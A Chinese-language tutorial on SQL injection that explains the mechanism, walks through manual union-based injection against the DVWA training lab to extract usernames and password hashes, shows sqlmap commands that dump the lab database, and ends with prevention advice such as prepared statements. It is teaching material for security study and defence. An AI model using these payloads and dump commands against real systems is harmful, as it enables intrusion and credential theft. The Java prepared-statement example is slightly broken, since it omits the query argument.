[[398140]]

幾乎所有 Web 應用程序都依賴數據庫來管理在應用程序中處理的數據。在許多情況下，這些數據負責處理核心應用程序邏輯，保存用戶賬戶、權限、應用程序配置設置等。大多數數據庫都保存有結構化、可以使用預先定義的查詢格式或語言訪問的數據，并包含內部邏輯來管理這些數據。本文介紹SQL注入攻擊如何利用語言的漏洞來獲取數據庫中的數據。

1. 原理

首先，SQL語言是一門解釋型語言。所謂的解釋型語言就是一種在運行時由一個運行時組件（runtime component）解釋語言代碼并執行其中指令的語言。與之相對的還有編譯型語言，它的代碼在生成時轉換成機器指令，然后在運行時直接由使用該語言的計算機處理器執行這些指令。

從理論上講，任何語言都可以使用編譯器或解釋器來執行，這種區別并不是語言本身的內在特性。但大多數語言僅通過上述一種方法來執行，SQL語言就是這樣。

基于解釋型語言的執行方式，會產生一系列叫作代碼注入的漏洞，SQL注入就是其中的一種。在任何實際用途的Web應用程序都會有用戶交互環節，會收到用戶提交的數據，對其進行處理并執行相應的操作。因此，解釋器處理的數據其實是由程序員編寫的SQL語句代碼和用戶提交的數據共同組成的。在這個時候，攻擊者可以提交專門設計過的 SQL 語句，向Web應用程序攻擊。結果，解釋器就會將這其中一部分的輸入解釋成程序指令執行，就像一開始程序員編寫的代碼一樣。因此，SQL注入漏洞就隨之形成了。

除了語言本身的原因，SQL注入產生的另一個原因就是未過濾問題。在編寫Web應用時，由于其自主訪問控制的性質，程序員往往會對用戶輸入的信息進行一定程度上的過濾操作，過濾掉一些危險的字符，如or、單引號、注釋符等。但往往有些經驗不足的程序員會忽視這一問題，只是進行簡單的過濾，從而讓攻擊者有機可乘。

SQL注入漏洞存在時間非常久，在Web應用高速發展的今天，已經很難見到SQL注入漏洞了。但是學習的目的在于了解其根本以及如何防范這種漏洞的產生。

2. 注入分類

接下來了解一下具體的SQL實施與分類。

在實戰中，主要會接觸到3個不同類型的注入點，它們分別是數字型、字符型和搜索型。在編寫實際的Web應用程序時，程序員會根據不同的數據類型，編寫不同的查詢代碼如下。 

“？”表示需要輸入的數據。  
數字型：SELECT * FROM user WHERE id=?  
字符型：SELECT * FROM user WHERE username=‘?’  
搜索型：SELECT * FROM user WHERE username=‘% ? %’ 

每個類型在輸入數據的時候，對數據做了一定的規范，因此，才產生了這樣的劃分，我們會在接下來的實例介紹中重點去區分數字型與字符型。要提前申明一點，雖然這里將注入點劃分了一定的類型，但是注入的步驟與原理都是一致的，因此，這種區分只是從數據角度去劃分的。

接下來將對SQL注入執行的步驟進行實例分析，在整個分析過程中，我們會將數字型與字符型細分開來，并且會先對手工SQL注入進行剖析，然后再教大家去使用工具。對于從事安全的人員來說，工具只是實現滲透的一種手段，不能過多依賴于工具的操作。工具也是安全人員為了簡化步驟而編寫出來的。對于剛剛接觸安全的人來說，工具會更方便，了解原理才能真正掌握了這個漏洞。

在DVWA中的SQL Injection，在其中輸入框中輸入1，然后提交，如圖1所示。

圖1  ID:1

這里要先對注入點的類型進行判斷，按照一般的步驟，輸入數字時會先考慮這是一個數字型的注入點，所以會先按照數字型的方式操作注入點。

在其中輸入1 and 1=1，如圖2所示。

圖2  1D:1 and 1=1

在圖2中，我們可以看到ID的數據變成了 1 and 1=1，很明顯，這里的ID是一個字符型。所以對注入點類型的判斷是字符型。

接下來判斷該注入點是否有效。因為在實際操作中，某些應用程序雖然允許此類輸入操作的發生，但是它會在內部邏輯中過濾掉該部分。可以通過一個經典的操作來判斷注入點是否有效。

在其中輸入1’and‘1’=’1時，如圖3所示。

圖3  ID：1’and‘1’=’1

之后再輸入 1’and‘1’=’2，如圖4所示。

圖4  ID：1’and‘1’=’2

這里會出現兩種不同的結果，而這兩種結果證明這個注入點是有效的。and 1=1 是一個永真命題，and后面的條件永遠成立，而and 1=2正好相反，1=2是一個永假命題，and后面的條件不成立。對于Web應用來說，在條件不成立的情況下也不會將結果返回給用戶，所以在圖4中看不到數據。

前面的操作是SQL注入點判斷的基本操作。后續對于不同的數據庫有不同的操作。數據庫大致可以分成Access數據庫、MySQL數據庫、SQLServer數據庫、Oracle數據庫等。Access數據庫是比較早期應用于Web應用的數據庫。早期的Web應用主要以顯示大量文本數據的靜態網頁組成。但是，近幾年Access數據庫的使用逐漸減小，因為它不能適應大量用戶的訪問，并且安全性沒有其他數據庫高。而現在使用較多的是MySQL數據庫。SQL Server和Oracle在大型公司比較適用。

MySQL 數據庫允許使用聯合查詢的方式，這樣查詢更加便捷。接下來，我們繼續剛才的操作，判斷完注入點之后，需要判斷該數據表存在的列數，輸入1’order by 1#，如圖5所示。

圖5  ID：1’order by 1#

order by是根據列值查找的命令，#起到的作用是注釋，防止后續語句的干擾。可以繼續嘗試輸入： 

1’order by 6 # 

運行結果，如圖6所示。

圖6  列值查找

它會顯示錯誤，找不到列值為6的列。這是因為該表中不存在6列，按照這個步驟，可以從1開始，逐步往上增加，直到出現一個數報錯為止，這樣，就可以知道該表中具體有多少列，當然，DVWA經過測試可以知道一共有2列。

知道列數之后，我們要看 MySQL 數據庫的版本，因為 MySQL5.0 以后的版本具有information_schema數據庫，里面存有所有數據庫的數據表名和列名，如圖7所示。

圖7  information_schema數據庫

利用這個數據庫來進行數據的檢索，所以在此之前需要查看該應用使用的MySQL數據庫版本，輸入： 

1’union select version(),2 # 

提交結果，如圖8所示。

圖8  查看版本

可以看到數據庫的版本是 5.0.51a-3ubuntu5，知道了版本之后，就可以使用information_shchema來完成后續的操作。輸入： 

1' union select table_name,2 from information_schema.tables where table_schema=database()# 

提交結果，如圖9所示。

圖9  查看表名

可以看到，圖中顯示出來兩個表名。然后再來理解上面輸入的語句，information_schema數據庫中含有 tables 這個數據表，條件是表數據庫名與 database()相同，而 database()正是當前查詢的數據庫。

然后查詢列名，輸入： 

1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' # 

運行結果，如圖10所示。

圖10  查看列名

一共可以看到6個列名，輸入語句其實與上面那句類似，就是找到這個數據表中的列名。有了這些數據，就可以列出想要的數據了，輸入： 

1' union select user,password from users# 

運行結果，如圖11所示。

圖11  列出數據

這里的密碼是使用MD5加密的，可以利用工具在線解密。

3. SQL注入工具

SQL注入工具有很多，比較好用的有Pangolin和SQLMap工具。這兩個工具對于初學者來說，上手難度不大。

Pangolin 是一款幫助滲透測試人員進行 SQL 注入（SQL Injeciton）測試的安全工具。Pangolin與JSky（Web應用安全漏洞掃描器、Web應用安全評估工具）都是NOSEC公司的產品。Pangolin具備友好的圖形界面并支持測試幾乎所有數據庫（Access、MsSQL、MySQL、Oracle、Informix、DB2、Sybase、PostgreSQL、SQLite）。Pangolin能夠通過一系列非常簡單的操作，達到最大化的攻擊測試效果。它從檢測注入開始到最后控制目標系統，都給出了測試步驟。Pangolin是目前國內使用率最高的SQL注入測試的安全軟件。

SQLMap 是一個自動SQL注入工具，其可執行一個廣泛的數據庫，管理系統后端指紋，檢索DBMS數據庫、usernames、表格、列，并列舉整個DBMS信息。SQLMap提供轉儲數據庫表以及MySQL、PostgreSQL、SQL Server服務器下載或上傳任何文件并執行任意代碼的能力。

在Windows命令行中輸入： 

>sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-b--current-db 

運行結果，如圖12所示。

圖12  獲取數據庫名

這里可以看到數據庫的名稱“dvwa”，之后輸入： 

sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-D dvwa –tables 

運行結果，如圖13所示。

圖13  獲取數據庫表名

可以看到該數據庫中有兩個表，之后輸入： 

sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-D dvwa-T users –column 

運行結果，如圖14所示。

圖14  獲取數據庫列名

可以看到一共有6個列名，之后就dump數據就可以了。輸入： 

sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-D dvwa-T users-C user,password –dump 

運行結果，如圖15所示。

圖15  SQLMap運行結果

SQLMap自帶字典可以來破譯比較弱的密碼。從操作上看，SQLMap是一款功能比較強大的自動注入工具，但是在安全級別較高的應用中，SQLMap的使用還是很有限的。

4. 預防SQL注入

對于服務器層面的防范，應該保證生產環境的Webshell是關閉錯誤信息的。例如，PHP生產環境的配置php.ini中的display_error是off，這樣就可以關閉服務器的錯誤提示。另外可以從編碼方面去預防SQL注入。

使用預編譯語句，是防御SQL注入的最佳方式，就是使用預編譯語句綁定變量。例如，JSP中使用的預編譯的SQL語句： 

String sql=“SELECT * FROM users where username=?”;  
PreparedStatement pstmt=connection.prepareStatement();  
pstmt.setString(1,admin); 

從上述代碼可以看到“？”處與后面輸入的變量相互綁定，之后攻擊者如果再使用and 1=1之類的注入語句，應用程序會將整個部分當作是username來檢索數據庫，并不會造成修改語義的問題。對于有些無法使用預編譯的部分程序，還有其他方法可以預防。

檢查變量類型和格式也是一個不錯的方法。如果要求用戶輸入的數據是整型的，那么就可以在查詢數據庫之前檢查一下獲取到的變量是否為整型，如果不為整型就重新校正。還有一些特殊的格式類型，如日期、時間、郵箱等格式。總地來說，只要有固定格式的變量，在SQL語句執行前，應該嚴格按照格式去檢查，可以最大程度上預防SQL注入攻擊。

還有一種方法就是過濾掉特殊的符號。在SQL注入時，往往需要一些特殊的符號幫助我們編寫語句，如單引號（’）、井號（#）、雙引號（”）等。可以將這些符號都進行轉義處理或使用正則表達式過濾掉。

除了編碼層面的預防，還需要做到數據庫層面的權限管理，盡量減少在數據庫中使用Root權限直接查詢的次數。如果有多個應用程序使用同一個數據庫，那么數據庫應該分配好每個應用程序的權限。